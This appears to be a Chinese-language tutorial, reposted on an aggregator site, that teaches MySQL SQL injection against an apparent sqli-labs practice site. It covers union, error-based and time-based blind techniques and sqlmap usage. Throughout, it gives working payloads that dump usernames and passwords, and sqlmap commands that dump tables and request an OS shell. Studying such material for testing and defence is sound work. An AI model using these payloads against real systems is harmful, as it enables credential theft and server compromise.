安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

这篇具有很好参考价值的文章主要介绍了安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、sql注入原理 

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

(2)然后看有几列,有两种方法

(3)查数据库用户名、库名、数据库版本。

(4)查看当前数据库下的所有表名

(5)查看当前数据库下的users表中的列名称

(6)根据上述的名称进行获取用户信息

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

(2)extractvalue

(3)floor

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

(5)ST_LongFromGeoHash(mysql>=5.7.x)

(6)GTID (MySQL >= 5.6.X - 显错<=200)

(7)ST_Pointfromgeohash (mysql>=5.7)

四、时间盲注

1.判断他是否沉睡

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

(4)获取到注入点后,复制粘贴注入点

(5)在网页上进行注入测试

(6)在利用sqlmap进行一个数据库名的爆破

(7)爆破表名

(8)爆破该数据库下的表名中的列

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

(10)判断当前用户信息

(11)查看是否可以进行上传文件或者爆破出路径


一、sql注入原理 

        我们知道,一般的网页需要结合用户输入的数据来去构造数据库,如果我们的用户输入恶意的SQL语句,而我们的开发人员又没有对语句进行严格的过滤,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,就会产生sql注入。

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

?id=1'

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(2)然后看有几列,有两种方法

a、order by 1,2....(优先推荐)

b、union select 1,2,...不停的去试。(不推荐)

?id=1' order by 1,2,3 --+

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(3)查数据库用户名、库名、数据库版本。

注意:union前面需要为假,后面才可以执行

查用户名

?id=-1' union select 1,user(),3 --+

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

查库名

?id=-1' union select 1,database(),3 --+

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

查数据库的版本

?id=-1' union select 1,version(),2 --+

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(4)查看当前数据库下的所有表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schem='security'),3 --+

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(5)查看当前数据库下的users表中的列名称

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(6)根据上述的名称进行获取用户信息

?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),3 --+

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

updatexml(1,1,1) 一共三个参数,报错的位置在第二个参数的位置

?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

(2)extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错的位置在第二个参数的位置

?id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+

(3)floor

获取数据库的版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(5)ST_LongFromGeoHash(mysql>=5.7.x)

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(6)GTID (MySQL >= 5.6.X - 显错<=200)

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

​ ') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+   GTID_SUBTRACT ​ ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

(7)ST_Pointfromgeohash (mysql>=5.7)

获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

获取字段里面的数据

')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

四、时间盲注

1.判断他是否沉睡

id=1' and if(ascii(substr(user(),1,1))=114, sleep(3),0) --+

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" 

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(4)获取到注入点后,复制粘贴注入点

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(5)在网页上进行注入测试

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(6)在利用sqlmap进行一个数据库名的爆破

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" --dbs

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(7)爆破表名

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security --tables

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(8)爆破该数据库下的表名中的列

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --columns

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --dump -C "username,password"

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(10)判断当前用户信息

sqlmap "http://192.168.191.1/sql/less-8/index.php?id=1" --current-user

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

(11)查看是否可以进行上传文件或者爆破出路径

sqlmap -u "http://192.168.191.1/sql/index.php?id=1" --os-shell

sqlmap时间盲注,网络安全渗透,安全,sql,数据库

 文章来源地址https://www.toymoban.com/news/detail-537641.html

到了这里,关于安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 29、WEB攻防——通用漏洞&SQL注入&增删改查&盲注&延迟&布尔&报错

    概念:在注入过程中,获取的数据不能回显至前端页面,此时我们需要利用一些方法进行判断或尝试,这个过程被称为盲注。 解决:常规的联合查询注入不行的情况。 分类: 基于布尔的SQL盲注,逻辑判断。 /blog/news.php?id=1 and if(1=1,sleep(5),0) 基于时间的SQL盲注,延时判断。

    2024年01月20日
    浏览(37)
  • SQL注入(一)联合查询 报错注入

    目录 1.sql注入漏洞是什么 2.联合查询: 2.1注入思想 2.2 了解information_schema 数据库及表 3.可替代information_schema的表 3.1 sys库中重要的表 4. 无列名注入 利用 join-using 注列名。 4. 报错注入 4.1 常用函数:updatexml、extractvalue 1.updatexml 注意几点: 2.extractvalue 3.floor 是web网站的常见攻击

    2024年02月02日
    浏览(29)
  • 【网络安全-sql注入(5)】sqlmap以及几款自动化sql注入工具的详细使用过程(提供工具)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 (也可以拿自己的环镜来玩,我是用pikachu靶场来演示的) 【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Ai

    2024年02月08日
    浏览(40)
  • SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

    数据来源         本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 介绍         联合查询注入是SQL注入的一种,通过在原有的SQL语句中添加UNION(联合)操作,将恶意构造的

    2024年02月06日
    浏览(43)
  • 【SQL注入-布尔盲注】

    布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。 演示环境 phpStudy + mysql + sqlilabs 源码分

    2024年02月06日
    浏览(29)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(34)
  • DVWA——SQL注入+盲注

    目的:执行特定sql语句,获得其他相关内容。 攻击方式:动态构造SQL语句 影响:数据库的脱裤、修改、甚至影响到操作系统。 漏洞原理:直接使用原始sql语句,没有代码审查 漏洞利用: 步骤1:判断是否存在注入漏洞: 步骤2:判断当前表字段个数?:通过order by 排序字段

    2024年02月07日
    浏览(29)
  • SQL注入原理-布尔盲注

            小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数  length()函数  实战演示  1、判断是否存在注入点 2、尝试用报错盲注看是否能够成功爆出数据 3、使用布尔盲注来爆出数据信息 1.爆出数据

    2023年04月08日
    浏览(36)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(36)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包